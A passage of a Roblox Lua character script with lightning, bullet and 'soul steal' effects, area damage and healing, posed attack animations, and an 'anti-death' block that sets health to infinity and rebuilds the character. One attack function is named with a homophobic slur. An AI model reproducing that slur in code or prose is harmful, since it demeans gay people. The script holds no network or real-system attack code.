elseif(Shape == 'Head')then BMesh.MeshType = Enum.MeshType.Head elseif(Shape == 'Cylinder')then BMesh.MeshType = Enum.MeshType.Cylinder end coroutine.wrap(function() for i = 1, Frames+1 do local hit,pos,norm,dist = CastRay(Bullet.CFrame.p,CF.N(Bullet.CFrame.p,Direction.p)*CF.N(0,0,-StudsPerFrame).p,StudsPerFrame) if(hit)then OnHit(hit,pos,norm,dist) break; else Bullet.CFrame = CF.N(Bullet.CFrame.p,Direction.p)*CF.N(0,0,-StudsPerFrame) end swait() end Bullet:destroy() end)() end function Zap(data) local sCF,eCF = data.StartCFrame,data.EndCFrame assert(sCF,"You need a start CFrame!") assert(eCF,"You need an end CFrame!") local parts = data.PartCount or 15 local zapRot = data.ZapRotation or {-5,5} local startThick = data.StartSize or 3; local endThick = data.EndSize or startThick/2; local color = data.Color or BrickColor.new'Electric blue' local delay = data.Delay or 35 local delayInc = data.DelayInc or 0 local lastLightning; local MagZ = (sCF.p - eCF.p).magnitude local thick = startThick local inc = (startThick/parts)-(endThick/parts) for i = 1, parts do local pos = sCF.p if(lastLightning)then pos = lastLightning.CFrame*CF.N(0,0,MagZ/parts/2).p end delay = delay + delayInc local zapPart = Part(Effects,color,Enum.Material.Neon,V3.N(thick,thick,MagZ/parts),CF.N(pos),true,false) local posie = CF.N(pos,eCF.p)*CF.N(0,0,MagZ/parts).p+V3.N(M.RNG(unpack(zapRot)),M.RNG(unpack(zapRot)),M.RNG(unpack(zapRot))) if(parts == i)then local MagZ = (pos-eCF.p).magnitude zapPart.Size = V3.N(endThick,endThick,MagZ) zapPart.CFrame = CF.N(pos, eCF.p)*CF.N(0,0,-MagZ/2) Effect{Effect='ResizeAndFade',Size=V3.N(thick,thick,thick),CFrame=eCF*CF.A(M.RRNG(-180,180),M.RRNG(-180,180),M.RRNG(-180,180)),Color=color,Frames=delay*2,FXSettings={EndSize=V3.N(thick*8,thick*8,thick*8)}} else zapPart.CFrame = CF.N(pos,posie)*CF.N(0,0,MagZ/parts/2) end lastLightning = zapPart Effect{Effect='Fade',Manual=zapPart,Frames=delay} thick=thick-inc end end function Zap2(data) local Color = data.Color or BrickColor.new'Electric blue' local StartPos = data.Start or Torso.Position local EndPos = data.End or Mouse.Hit.p local SegLength = data.SegL or 2 local Thicc = data.Thickness or 0.5 local Fades = data.Fade or 45 local Parent = data.Parent or Effects local MaxD = data.MaxDist or 200 local Branch = data.Branches or false local Material = data.Material or Enum.Material.Neon local Raycasts = data.Raycasts or false local Offset = data.Offset or {0,360} local AddMesh = (data.Mesh == nil and true or data.Mesh) if((StartPos-EndPos).magnitude > MaxD)then EndPos = CF.N(StartPos,EndPos)*CF.N(0,0,-MaxD).p end local hit,pos,norm,dist=nil,EndPos,nil,(StartPos-EndPos).magnitude if(Raycasts)then hit,pos,norm,dist = CastRay(StartPos,EndPos,MaxD) end local segments = dist/SegLength local model = IN("Model",Parent) model.Name = 'Lightning' local Last; for i = 1, segments do local size = (segments-i)/25 local prt = Part(model,Color,Material,V3.N(Thicc+size,SegLength,Thicc+size),CF.N(),true,false) if(AddMesh)then IN("CylinderMesh",prt) end if(Last and math.floor(segments) == i)then local MagZ = (Last.CFrame*CF.N(0,-SegLength/2,0).p-EndPos).magnitude prt.Size = V3.N(Thicc+size,MagZ,Thicc+size) prt.CFrame = CF.N(Last.CFrame*CF.N(0,-SegLength/2,0).p,EndPos)*CF.A(M.R(90),0,0)*CF.N(0,-MagZ/2,0) elseif(not Last)then prt.CFrame = CF.N(StartPos,pos)*CF.A(M.R(90),0,0)*CF.N(0,-SegLength/2,0) else prt.CFrame = CF.N(Last.CFrame*CF.N(0,-SegLength/2,0).p,CF.N(pos)*CF.A(M.R(M.RNG(0,360)),M.R(M.RNG(0,360)),M.R(M.RNG(0,360)))*CF.N(0,0,SegLength/3+(segments-i)).p)*CF.A(M.R(90),0,0)*CF.N(0,-SegLength/2,0) end Last = prt if(Branch)then local choice = M.RNG(1,7+((segments-i)*2)) if(choice == 1)then local LastB; for i2 = 1,M.RNG(2,5) do local size2 = ((segments-i)/35)/i2 local prt = Part(model,Color,Material,V3.N(Thicc+size2,SegLength,Thicc+size2),CF.N(),true,false) if(AddMesh)then IN("CylinderMesh",prt) end if(not LastB)then prt.CFrame = CF.N(Last.CFrame*CF.N(0,-SegLength/2,0).p,Last.CFrame*CF.N(0,-SegLength/2,0)*CF.A(0,0,M.RRNG(0,360))*CF.N(0,Thicc*7,0)*CF.N(0,0,-1).p)*CF.A(M.R(90),0,0)*CF.N(0,-SegLength/2,0) else prt.CFrame = CF.N(LastB.CFrame*CF.N(0,-SegLength/2,0).p,LastB.CFrame*CF.N(0,-SegLength/2,0)*CF.A(0,0,M.RRNG(0,360))*CF.N(0,Thicc*7,0)*CF.N(0,0,-1).p)*CF.A(M.R(90),0,0)*CF.N(0,-SegLength/2,0) end LastB = prt end end end end if(Fades > 0)then coroutine.wrap(function() for i = 1, Fades do for _,v in next, model:children() do if(v:IsA'BasePart')then v.Transparency = (i/Fades) end end swait() end model:destroy() end)() else S.Debris:AddItem(model,.01) end return {End=(Last and Last.CFrame*CF.N(0,-Last.Size.Y/2,0).p),Last=Last,Model=model} end function Tween(obj,props,time,easing,direction,repeats,backwards) local info = TweenInfo.new(time or .5, easing or Enum.EasingStyle.Quad, direction or Enum.EasingDirection.Out, repeats or 0, backwards or false) local tween = S.TweenService:Create(obj, info, props) tween:Play() end function Effect(data) local FX = data.Effect or 'ResizeAndFade' local Parent = data.Parent or Effects local Color = data.Color or C3.N(0,0,0) local Size = data.Size or V3.N(1,1,1) local MoveDir = data.MoveDirection or nil local MeshData = data.Mesh or nil local SndData = data.Sound or nil local Frames = data.Frames or 45 local Manual = data.Manual or nil local Material = data.Material or nil local CFra = data.CFrame or Torso.CFrame local Settings = data.FXSettings or {} local Shape = data.Shape or Enum.PartType.Block local Snd,Prt,Msh; local RotInc = data.RotInc or {0,0,0} if(typeof(RotInc) == 'number')then RotInc = {RotInc,RotInc,RotInc} end coroutine.wrap(function() if(Manual and typeof(Manual) == 'Instance' and Manual:IsA'BasePart')then Prt = Manual else Prt = Part(Parent,Color,Material,Size,CFra,true,false) Prt.Shape = Shape end if(typeof(MeshData) == 'table')then Msh = Mesh(Prt,MeshData.MeshType,MeshData.MeshId,MeshData.TextureId,MeshData.Scale,MeshData.Offset) elseif(typeof(MeshData) == 'Instance')then Msh = MeshData:Clone() Msh.Parent = Prt elseif(Shape == Enum.PartType.Block)then Msh = Mesh(Prt,Enum.MeshType.Brick) end if(typeof(SndData) == 'table' or typeof(SndData) == 'Instance')then Snd = Sound(Prt,SndData.SoundId,SndData.Pitch,SndData.Volume,false,false,true) end if(Snd)then repeat swait() until Snd.Playing and Snd.IsLoaded and Snd.TimeLength > 0 Frames = Snd.TimeLength * Frame_Speed/Snd.Pitch end Size = (Msh and Msh.Scale or Size) local grow = Size-(Settings.EndSize or (Msh and Msh.Scale or Size)/2) local MoveSpeed = nil; if(MoveDir)then MoveSpeed = (CFra.p - MoveDir).magnitude/Frames end if(FX ~= 'Arc')then for Frame = 1, Frames do if(FX == "Fade")then Prt.Transparency = (Frame/Frames) elseif(FX == "Resize")then if(not Settings.EndSize)then Settings.EndSize = V3.N(0,0,0) end if(Settings.EndIsIncrement)then if(Msh)then Msh.Scale = Msh.Scale + Settings.EndSize else Prt.Size = Prt.Size + Settings.EndSize end else if(Msh)then Msh.Scale = Msh.Scale - grow/Frames else Prt.Size = Prt.Size - grow/Frames end end elseif(FX == "ResizeAndFade")then if(not Settings.EndSize)then Settings.EndSize = V3.N(0,0,0) end if(Settings.EndIsIncrement)then if(Msh)then Msh.Scale = Msh.Scale + Settings.EndSize else Prt.Size = Prt.Size + Settings.EndSize end else if(Msh)then Msh.Scale = Msh.Scale - grow/Frames else Prt.Size = Prt.Size - grow/Frames end end Prt.Transparency = (Frame/Frames) end if(Settings.RandomizeCFrame)then Prt.CFrame = Prt.CFrame * CF.A(M.RRNG(-360,360),M.RRNG(-360,360),M.RRNG(-360,360)) else Prt.CFrame = Prt.CFrame * CF.A(unpack(RotInc)) end if(MoveDir and MoveSpeed)then local Orientation = Prt.Orientation Prt.CFrame = CF.N(Prt.Position,MoveDir)*CF.N(0,0,-MoveSpeed) Prt.Orientation = Orientation end swait() end Prt:destroy() else local start,third,fourth,endP = Settings.Start,Settings.Third,Settings.Fourth,Settings.End if(not Settings.End and Settings.Home)then endP = Settings.Home.CFrame end if(start and endP)then local quarter = third or start:lerp(endP, 0.25) * CF.N(M.RNG(-25,25),M.RNG(0,25),M.RNG(-25,25)) local threequarter = fourth or start:lerp(endP, 0.75) * CF.N(M.RNG(-25,25),M.RNG(0,25),M.RNG(-25,25)) for Frame = 0, 1, (Settings.Speed or 0.01) do if(Settings.Home)then endP = Settings.Home.CFrame end Prt.CFrame = Bezier(start, quarter, threequarter, endP, Frame) end if(Settings.RemoveOnGoal)then Prt:destroy() end else Prt:destroy() assert(start,"You need a start position!") assert(endP,"You need a start position!") end end end)() return Prt,Msh,Snd end function SoulSteal(whom) local torso = (whom:FindFirstChild'Head' or whom:FindFirstChild'Torso' or whom:FindFirstChild'UpperTorso' or whom:FindFirstChild'LowerTorso' or whom:FindFirstChild'HumanoidRootPart') print(torso) if(torso and torso:IsA'BasePart')then local Model = Instance.new("Model",Effects) Model.Name = whom.Name.."'s Soul" whom:BreakJoints() local Soul = Part(Model,BrickColor.new'Really red','Glass',V3.N(.5,.5,.5),torso.CFrame,true,false) Soul.Name = 'Head' NewInstance("Humanoid",Model,{Health=0,MaxHealth=0}) Effect{ Effect="Arc", Manual = Soul, FXSettings={ Start=torso.CFrame, Home = Torso, RemoveOnGoal = true, } } local lastPoint = Soul.CFrame.p for i = 0, 1, 0.01 do local point = CFrame.new(lastPoint, Soul.Position) * CFrame.Angles(-math.pi/2, 0, 0) local mag = (lastPoint - Soul.Position).magnitude Effect{ Effect = "Fade", CFrame = point * CF.N(0, mag/2, 0), Size = V3.N(.5,mag+.5,.5), Color = Soul.BrickColor } lastPoint = Soul.CFrame.p swait() end for i = 1, 5 do Effect{ Effect="Fade", Color = BrickColor.new'Really red', MoveDirection = (Torso.CFrame*CFrame.new(M.RNG(-40,40),M.RNG(-40,40),M.RNG(-40,40))).p } end end end --// Other Functions \\ -- function CastRay(startPos,endPos,range,ignoreList) local ray = Ray.new(startPos,(endPos-startPos).unit*range) local part,pos,norm = workspace:FindPartOnRayWithIgnoreList(ray,ignoreList or {Char},false,true) return part,pos,norm,(pos and (startPos-pos).magnitude) end function getRegion(point,range,ignore) return workspace:FindPartsInRegion3WithIgnoreList(R3.N(point-V3.N(1,1,1)*range/2,point+V3.N(1,1,1)*range/2),ignore,100) end function clerp(startCF,endCF,alpha) return startCF:lerp(endCF, alpha) end function GetTorso(char) return char:FindFirstChild'Torso' or char:FindFirstChild'UpperTorso' or char:FindFirstChild'LowerTorso' or char:FindFirstChild'HumanoidRootPart' end function ShowDamage(Pos, Text, Time, Color) coroutine.wrap(function() local Rate = (1 / Frame_Speed) local Pos = (Pos or Vector3.new(0, 0, 0)) local Text = (Text or "") local Time = (Time or 2) local Color = (Color or Color3.new(1, 0, 1)) local EffectPart = NewInstance("Part",Effects,{ Material=Enum.Material.SmoothPlastic, Reflectance = 0, Transparency = 1, Name = "Effect", Size = Vector3.new(0,0,0), Anchored = true, CFrame = CF.N(Pos) }) local BillboardGui = NewInstance("BillboardGui",EffectPart,{ Size = UDim2.new(1.25, 0, 1.25, 0), Adornee = EffectPart, }) local TextLabel = NewInstance("TextLabel",BillboardGui,{ BackgroundTransparency = 1, Size = UDim2.new(1, 0, 1, 0), Text = Text, Font = "Bodoni", TextColor3 = C3.N(M.RNG(),M.RNG(),M.RNG()), TextStrokeColor3 = Color3.new(0,0,0), TextStrokeTransparency=0, TextScaled = true, }) S.Debris:AddItem(EffectPart, (Time)) EffectPart.Parent = workspace delay(0, function() Tween(EffectPart,{CFrame=CF.N(Pos)*CF.N(0,3,0)},Time,Enum.EasingStyle.Elastic,Enum.EasingDirection.Out) local Frames = (Time / Rate) for Frame = 1, Frames do swait() local Percent = (Frame / Frames) TextLabel.TextTransparency = Percent TextLabel.TextStrokeTransparency = Percent end if EffectPart and EffectPart.Parent then EffectPart:Destroy() end end) end)() end function GrabANoobsSoul(char,hum) char:BreakJoints() hum:destroy() local soulEjected = false for _,v in next, char:children() do if(v:IsA'BasePart')then local dust = script.Dust:Clone(); dust.Parent = v dust.Enabled = true local bv = NewInstance('BodyPosition',v,{d=1000,p=2500,position=v.Position+V3.N(M.RNG(-5,5),M.RNG(-5,5),M.RNG(-5,5))}) v.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) coroutine.wrap(function() for i = 0, 1, .025 do v.Transparency = i v.Color = C3.N(M.RNG(),M.RNG(),M.RNG()) dust.Color = ColorSequence.new(C3.N(M.RNG(),M.RNG(),M.RNG())) swait() end v:destroy() if(not soulEjected and (v.Name == 'Torso' or v.Name == 'HumanoidRootPart' or v.Name == 'UpperTorso'))then soulEjected = true local soul = Part(Effects,C3.N(M.RNG(),M.RNG(),M.RNG()),Enum.Material.Neon,V3.N(.05,.05,.05),v.CFrame,true,false) soul.Transparency = 1 local pe = script.Soul:Clone(); pe.Parent = soul pe:Emit(1) repeat swait() soul.CFrame = CF.N(soul.CFrame.p,Torso.CFrame.p)*CF.N(0,0,-.15) pe.Enabled = true pe.Color = ColorSequence.new(C3.N(M.RNG(),M.RNG(),M.RNG())) until not soul.Parent or (soul.CFrame.p-Torso.CFrame.p).magnitude < 1 pe.Enabled = false S.Debris:AddItem(soul,2) Sound(Torso,260496290,1,6,false,true,true) for i = 1, 10 do NoobySphere(2,M.RNG(25,50)/100,'Multiply',soul.CFrame*CF.A(M.RRNG(0,360),M.RRNG(0,360),M.RRNG(0,360)),V3.N(1,1,1),.1,C3.N(M.RNG(),M.RNG(),M.RNG()),0,nil,'z') end end end)() end end end function DealDamage(data) end function AOEDamage(where,range,options) local hit = {} for _,v in next, getRegion(where,range,{Char}) do if(options.BreakGlass and v.Material == Enum.Material.Glass)then SoundPart(260496290,1,6,false,true,true,v.CFrame) v:destroy() end if(v.Parent and v.Parent:FindFirstChildOfClass'Humanoid' and not hit[v.Parent])then local callTable = {Who=v.Parent} hit[v.Parent] = true for _,v in next, options do callTable[_] = v end DealDamage(callTable) end end return hit end function AOEHeal(where,range,amount) local healed = {} for _,v in next, getRegion(where,range,{Char}) do local hum = (v.Parent and v.Parent:FindFirstChildOfClass'Humanoid' or nil) if(hum and not healed[hum])then hum.Health = hum.Health + amount if(v.Parent:FindFirstChild'Head' and hum.Health > 0)then ShowDamage((v.Parent.Head.CFrame * CF.N(0, 0, (v.Parent.Head.Size.Z / 2)).p+V3.N(0,1.5,0)), "+"..amount, 1.5, BrickColor.new'Lime green'.Color) end end end end --// Anti-death \\-- local REGENSOUND = 584533998 for _, c in pairs(Char:GetDescendants()) do if c and c.Parent then if c.Name == "Handle" and c.Parent.ClassName == "Accessory" then local ACCESSORY = c.Parent c.Parent = Char if c then if(c:FindFirstChild("HatAttachment") or c:FindFirstChild("FaceFrontAttachment") or c:FindFirstChild("HairAttachment"))then --weldBetween(Head,c) Weld(Head,c,CF.N(),c.CFrame:inverse()*Head.CFrame) else --weldBetween(Torso,c) Weld(Torso,c,CF.N(),c.CFrame:inverse()*Head.CFrame) end end ACCESSORY:remove() end end end wait() local BODY = {} local FULLREGEN = false for _, c in pairs(Char:GetDescendants()) do if c:IsA("BasePart") and not c.Parent.Name:lower():find'secret' then if(c ~= Root and c ~= Torso and c ~= Head and c ~= RArm and c ~= LArm and c ~= RLeg and c ~= LLeg)then c.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) end local REGENVALUE = IN("BoolValue",c) REGENVALUE.Name = "IsRegening" table.insert(BODY,{c,c.Parent,c.Material,c.Color,c.Transparency,c.Size,c.Name,REGENVALUE}) elseif c:IsA("JointInstance") and c.Name ~= "AccessoryWeld" then table.insert(BODY,{c,c.Parent,nil,nil,nil,nil,nil,nil}) end end function FullBodyRegen() -- thanks shack bb if not FULLREGEN then Sound(Head,REGENSOUND,M.RNG(80,120)/100,3,false,true,true) FULLREGEN = true Hum.MaxHealth = "inf" Hum.Health = "inf" Hum.Parent = nil Char.Parent = workspace for e = 1, #BODY do if BODY[e] ~= nil then local STUFF = BODY[e] local PART = STUFF[1] local PARENT = STUFF[2] local MATERIAL = STUFF[3] local COLOR = STUFF[4] local TRANSPARENCY = STUFF[5] --local SIZE = STUFF[6] local NAME = STUFF[7] local VALUE = STUFF[8] PART.Parent = PARENT end end FULLREGEN = false Hum = IN("Humanoid",Char) Hum.Died:Connect(FullBodyRegen) end end Hum.Died:connect(FullBodyRegen) --// Attack Functions \\-- function Taunt() Attack = true NeutralAnims = false local oWS = WalkSpeed WalkSpeed = 8 for i = 0, 6, 0.1 do swait() local Alpha = .1 RJ.C0 = clerp(RJ.C0,CFrame.new(2.74447132e-13, 0.00628674868, -5.34626452e-07, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.496485233, -0.990816116, 0.0216168761, 0.980170131, 7.27576055e-11, 0.198157549, -0.00124608271, 0.999980211, 0.006163646, -0.198153645, -0.00628834311, 0.980150878),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498538613, -0.990978837, 0.0154614588, 0.974127889, 7.27576055e-11, -0.225997537, 0.00142114982, 0.999980211, 0.0061256499, 0.225993097, -0.00628834311, 0.974108756),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.21096981, 0.74825114, -0.289877862, 0.911424756, -0.398663461, 0.101844907, -0.377689809, -0.908785701, -0.177366614, 0.163264811, 0.123190522, -0.978861034),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.12800264, 0.737565041, -0.20420365, 0.897937059, 0.439862728, -0.0151603902, 0.423085958, -0.872155368, -0.245648772, -0.12127395, 0.214162976, -0.969240546),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(8.16642296e-06, 1.49894738, -0.0144004971, 0.99999994, 3.67523171e-07, -1.61118805e-07, -3.56500095e-07, 0.997964799, 0.0637688041, 1.8440187e-07, -0.063768819, 0.997964799),Alpha) end Sound(Torso,314390675,1.3,10,false,true,true) for i = 0, 3, 0.1 do swait() local Alpha = 1 RJ.C0 = clerp(RJ.C0,CFrame.new(2.74447132e-13, 0.00628674263, 4.19029675e-07, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.496485233, -0.990816116, 0.0216168761, 0.980170131, 7.27576055e-11, 0.198157549, -0.00124608271, 0.999980211, 0.006163646, -0.198153645, -0.00628834311, 0.980150878),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498538822, -0.990978837, 0.0154605275, 0.974127889, 7.27576055e-11, -0.225997537, 0.00142114982, 0.999980211, 0.0061256499, 0.225993097, -0.00628834311, 0.974108756),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.22952282, 0.929760218, 0.0582782328, 0.898733914, -0.247438282, 0.362010598, -0.419819236, -0.723916769, 0.547445357, 0.126606628, -0.643986762, -0.754487872),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.00443649, 1.08148849, -0.22035557, 0.783190131, 0.597044468, 0.173641399, 0.566939712, -0.571022332, -0.593728125, -0.255329013, 0.563446164, -0.785707235),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(8.05407763e-06, 1.49894309, -0.0144012496, -0.0156119671, -0.0575570092, 0.998220086, -0.00628757617, 0.998327732, 0.0574648753, -0.999858439, -0.00537924562, -0.0159477536),Alpha) end Sound(Torso,363808674,1.15,10,false,true,true) for i = 0, 3, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(2.74447132e-13, 0.00628674263, 4.19029675e-07, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.496485233, -0.990816116, 0.0216168761, 0.980170131, 7.27576055e-11, 0.198157549, -0.00124608271, 0.999980211, 0.006163646, -0.198153645, -0.00628834311, 0.980150878),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498533249, -0.990978837, 0.0154592311, 0.974127889, 7.27576055e-11, -0.225997537, 0.00142114982, 0.999980211, 0.0061256499, 0.225993097, -0.00628834311, 0.974108756),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.23011494, 0.825429916, -0.106563747, 0.895470679, -0.436958104, 0.0848518461, -0.313485146, -0.754420936, -0.576694131, 0.3160052, 0.48981297, -0.812541783),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.13026094, 0.666716635, -0.0574921668, 0.900917113, 0.433720857, -0.0153176785, 0.42869699, -0.883876204, 0.187034056, 0.0675816536, -0.175068855, -0.98223412),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(1.10268593e-05, 1.49894726, -0.0144011229, 0.912795186, 0.0235101581, -0.407740325, 0.00256826938, 0.997991681, 0.0632933378, 0.408409536, -0.0588210449, 0.910901666),Alpha) end WalkSpeed = oWS Attack = false NeutralAnims = true end function SnapAFaggotsNeck() local whom = (Mouse.Target and Mouse.Target.Parent) local hum = (whom and whom:FindFirstChildOfClass'Humanoid') local hed = (whom and whom:FindFirstChild'Head') if(whom and hum and hed and hum.Health > 0)then Attack = true NeutralAnims = false local oWS = WalkSpeed WalkSpeed = 8 for i = 0, 12, 0.1 do swait() local Alpha = .1 RJ.C0 = clerp(RJ.C0,CFrame.new(2.74447132e-13, 0.00628674868, -5.34626452e-07, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.496485233, -0.990816116, 0.0216168761, 0.980170131, 7.27576055e-11, 0.198157549, -0.00124608271, 0.999980211, 0.006163646, -0.198153645, -0.00628834311, 0.980150878),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498538613, -0.990978837, 0.0154614588, 0.974127889, 7.27576055e-11, -0.225997537, 0.00142114982, 0.999980211, 0.0061256499, 0.225993097, -0.00628834311, 0.974108756),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.21096981, 0.74825114, -0.289877862, 0.911424756, -0.398663461, 0.101844907, -0.377689809, -0.908785701, -0.177366614, 0.163264811, 0.123190522, -0.978861034),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.12800264, 0.737565041, -0.20420365, 0.897937059, 0.439862728, -0.0151603902, 0.423085958, -0.872155368, -0.245648772, -0.12127395, 0.214162976, -0.969240546),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(8.16642296e-06, 1.49894738, -0.0144004971, 0.99999994, 3.67523171e-07, -1.61118805e-07, -3.56500095e-07, 0.997964799, 0.0637688041, 1.8440187e-07, -0.063768819, 0.997964799),Alpha) end Sound(Torso,363808674,1.3,10,false,true,true) NoobySphere(2,0,'Multiply',hed.CFrame,V3.N(1,1,1),.2,C3.N(M.RNG(),M.RNG(),M.RNG()),0,nil,'xyz') DealDamage{Who=whom,MaxHP=M.RNG(25,1e3),MinimumDamage=5,MaximumDamage=(M.RNG()*250)+5,DamageFX={DeathFunction=GrabANoobsSoul}} for i = 0, 6, 0.1 do swait() local Alpha = 1 RJ.C0 = clerp(RJ.C0,CFrame.new(2.74447132e-13, 0.00628674263, 4.19029675e-07, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.496485233, -0.990816116, 0.0216168761, 0.980170131, 7.27576055e-11, 0.198157549, -0.00124608271, 0.999980211, 0.006163646, -0.198153645, -0.00628834311, 0.980150878),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.498538822, -0.990978837, 0.0154605275, 0.974127889, 7.27576055e-11, -0.225997537, 0.00142114982, 0.999980211, 0.0061256499, 0.225993097, -0.00628834311, 0.974108756),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-1.22952282, 0.929760218, 0.0582782328, 0.898733914, -0.247438282, 0.362010598, -0.419819236, -0.723916769, 0.547445357, 0.126606628, -0.643986762, -0.754487872),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(1.00443649, 1.08148849, -0.22035557, 0.783190131, 0.597044468, 0.173641399, 0.566939712, -0.571022332, -0.593728125, -0.255329013, 0.563446164, -0.785707235),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(8.05407763e-06, 1.49894309, -0.0144012496, -0.0156119671, -0.0575570092, 0.998220086, -0.00628757617, 0.998327732, 0.0574648753, -0.999858439, -0.00537924562, -0.0159477536),Alpha) end NoobySphere(4,0,'Multiply',Torso.CFrame,V3.N(1,1,1),.3,C3.N(M.RNG(),M.RNG(),M.RNG()),0,nil,'xyz') Sound(Head,584533998,.8,10,false,true,true) WalkSpeed = oWS Attack = false NeutralAnims = true end end function Wave() Attack = true NeutralAnims = false WalkSpeed = 0 for i = 0, 15, .1 do local Alpha = .1 RJ.C0 = RJ.C0:lerp(RJC0*CF.N(0,-.15+.1*M.C(Sine/24),0)*CF.A(M.R(-25),0,0),Alpha) NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,-.2)*CF.A(M.R(-25),0,0)*CF.A(M.RRNG(-5,5),M.RRNG(-5,5),M.RRNG(-5,5)),Alpha) if(M.RNG(1,45) == 45)then NK.C0 = NK.C0:lerp(NKC0*CF.N(0,0,-.2)*CF.A(M.R(-25),0,0)*CF.A(M.RRNG(15,65),M.RRNG(-35,35),0),1) end if(not Glitching)then LS.C0 = LS.C0:lerp(LSC0*CF.N(0,.1*M.C(Sine/24),0)*CF.A(M.R(25),0,M.R(-5-5*M.C(Sine/24))),Alpha) else LS.C0 = LS.C0:lerp(LSC0*CF.N(0,.1*M.C(Sine/24),0)*CF.A(M.R(180),0,M.R(25)+M.RRNG(-10,10)),Alpha) end RS.C0 = RS.C0:lerp(RSC0*CF.N(0,0,0)*CF.A(M.R(180),0,M.R(0+25*M.C(Sine/6))),Alpha) LH.C0 = LH.C0:lerp(LHC0*CF.N(0,-.1*M.C(Sine/24),0)*CF.A(M.R(25),0,M.R(-5)),Alpha) RH.C0 = RH.C0:lerp(RHC0*CF.N(0,-.1*M.C(Sine/24),0)*CF.A(M.R(25),0,M.R(5)),Alpha) swait() end WalkSpeed = 16 Attack = false NeutralAnims = true end function Boolets() Attack = true NeutralAnims = false local oWS = WalkSpeed WalkSpeed = 0 for i = 0, 1, 0.1 do swait() local Alpha = .3 RJ.C0 = clerp(RJ.C0,CFrame.new(-4.68989847e-11, -1.07431245, 2.49501318e-06, 0.99999994, 4.36557457e-11, 0, -4.3652193e-11, 0.999980211, -0.00628619269, 9.31322575e-10, 0.00628619175, 0.999980271),Alpha) LH.C0 = clerp(LH.C0,CFrame.new(-0.506277919, 0.0234779716, -0.612002969, 0.999878109, -9.59694546e-11, 0.015612145, -9.81408521e-05, 0.999980211, 0.00628542574, -0.0156118376, -0.00628619269, 0.999858439),Alpha) RH.C0 = clerp(RH.C0,CFrame.new(0.488053799, -1.43056154, -0.653246641, 0.999878109, -0.0152971046, 0.0031194177, -9.8173201e-05, 0.193645224, 0.981071711, -0.015611616, -0.980952501, 0.19362013),Alpha) LS.C0 = clerp(LS.C0,CFrame.new(-0.405749947, 0.473833799, -0.493766844, 0.365731448, -0.921088159, -0.133555874, 0.13443999, 0.19427453, -0.971690953, 0.920959532, 0.337422758, 0.194883406),Alpha) RS.C0 = clerp(RS.C0,CFrame.new(0.949500263, 0.459093392, -0.375410318, 0.999878109, 0.0156117259, 7.85123193e-05, -9.8173201e-05, 0.0113163982, -0.999935985, -0.015611616, 0.999814153, 0.0113165528),Alpha) NK.C0 = clerp(NK.C0,CFrame.new(1.00737707e-05, 1.49894547, -0.0144003704, 0.99999994, 3.67523171e-07, -1.61118805e-07, -3.56500095e-07, 0.997964799, 0.0637688041, 1.8440187e-07, -0.063768819, 0.997964799),Alpha) end for i = 1, 300 do NoobyBlock(2,-.3,'Multiply',RArm.CFrame*CF.N(0,-1,0)*CF.A(M.RRNG(-180,180),M.RRNG(-180,180),M.RRNG(-180,180)),V3.N(1,1,1),0,C3.N(M.RNG(),M.RNG(),M.RNG()),25,true) swait() end local origin = RArm.CFrame*CF.N(0,-1,0); local hit,pos,norm,dist = CastRay(origin.p,Mouse.Hit.p,750) local ray = Part(Effects,C3.N(M.RNG(),M.RNG(),M.RNG()),Enum.Material.Neon,V3.N(2,2,dist),CF.N(origin.p,pos)*CF.N(0,0,-dist/2),true,false) NoobyBlock(3,0,'Multiply',CF.N(pos)*CF.A(M.RNG(0,360),M.RNG(0,360),M.RNG(0,360)),V3.N(4,4,4),-.1,C3.N(M.RNG(),M.RNG(),M.RNG()),0,true) Mesh(ray,Enum.MeshType.Sphere) for i = 1, 9 do NoobySphere(1,.6,"Multiply",CF.N(pos)*CF.A(M.RRNG(-360,360),M.RRNG(-360,360),M.RRNG(-360,360)),V3.N(5,5,25),-0.05,C3.N(M.RNG(),M.RNG(),M.RNG()),0) NoobySphere(2,.6,"Multiply",CF.N(pos)*CF.A(M.RRNG(-360,360),M.RRNG(-360,360),M.RRNG(-360,360)),V3.N(5,5,25),-0.05,C3.N(M.RNG(),M.RNG(),M.RNG()),0) end CamShakeAll(15,120,CF.N(pos)) 